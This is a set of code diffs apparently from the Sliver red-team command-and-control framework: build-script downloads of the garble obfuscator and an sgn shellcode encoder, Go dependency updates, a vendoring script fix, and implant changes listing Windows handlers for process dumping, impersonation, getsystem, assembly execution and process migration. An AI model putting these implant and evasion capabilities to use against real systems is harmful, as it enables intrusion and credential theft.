echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
go 1.18
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
@@ -10,8 +10,11 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
@@ -35,7 +38,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
@@ -61,6 +64,7 @@ require (
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -70,6 +74,9 @@ require (
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
@@ -85,9 +92,11 @@ require (
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
|
||||
@@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
@@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
|
||||
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
@@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
|
||||
@@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
@@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN
|
||||
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
|
||||
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
@@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
|
||||
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
|
||||
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
|
||||
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||
@@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
|
||||
+3
-1
@@ -4,6 +4,7 @@ go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -14,7 +15,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
@@ -33,6 +34,7 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
+6
-2
@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
|
||||
@@ -7,7 +7,7 @@ cd scripts
|
||||
|
||||
# copy Go module related files
|
||||
pwd="$(pwd)"
|
||||
tempDir="$(mktemp -d -p $pwd)"
|
||||
tempDir="$(mktemp -d)"
|
||||
cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
@@ -20,8 +20,8 @@ go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" ../../vendor
|
||||
mv "${tempDir}/go.mod" ../../go-mod
|
||||
mv "${tempDir}/go.sum" ../../go-sum
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
@@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -49,24 +49,25 @@ var (
|
||||
windowsHandlers = map[uint32]RPCHandler{
|
||||
|
||||
// Windows Only
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
